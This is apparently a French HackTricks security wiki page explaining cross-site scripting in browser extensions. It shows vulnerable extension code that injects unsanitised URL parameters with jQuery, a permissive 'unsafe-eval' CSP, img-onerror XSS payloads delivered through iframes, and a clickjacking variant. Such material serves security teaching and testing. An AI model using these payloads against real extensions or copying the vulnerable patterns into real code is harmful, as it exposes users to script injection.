7.6 KiB
BrowExt - Exemple de XSS
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Cross-Site Scripting (XSS) via Iframe
Dans cette configuration, un script de contenu est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe :
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Une page HTML publiquement accessible, message.html
, est conçue pour ajouter dynamiquement du contenu au corps du document en fonction des paramètres dans l'URL :
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Un script malveillant est exécuté sur la page d'un adversaire, modifiant le paramètre content
de la source de l'Iframe pour introduire une charge utile XSS. Cela est réalisé en mettant à jour la source de l'Iframe pour inclure un script nuisible :
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Une politique de sécurité du contenu excessivement permissive telle que :
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
Permet l'exécution de JavaScript, rendant le système vulnérable aux attaques XSS.
Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script malveillant en tant que paramètre content
:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
XSS basé sur le DOM + ClickJacking
Cet exemple a été tiré du post original.
Le problème principal découle d'une vulnérabilité de type Cross-site Scripting (XSS) basée sur le DOM située dans /html/bookmarks.html
. Le JavaScript problématique, faisant partie de bookmarks.js
, est détaillé ci-dessous:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Ce fragment extrait la valeur du champ de saisie txtName
et utilise la concaténation de chaînes pour générer du HTML, qui est ensuite ajouté au DOM à l'aide de la fonction .append()
de jQuery.
En général, la Politique de sécurité du contenu (CSP) de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la relaxation de la CSP avec 'unsafe-eval' et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent globalEval()
pour transmettre des scripts à eval()
lors de l'insertion dans le DOM), l'exploitation reste possible.
Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton "Ajouter".
Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de clickjacking est exploitée. Le manifeste de l'extension Chrome présente une politique étendue web_accessible_resources
:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Notamment, la page /html/bookmarks.html
est sujette au cadrage, donc vulnérable au clickjacking. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la recouvrant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente.
Références
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF Consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.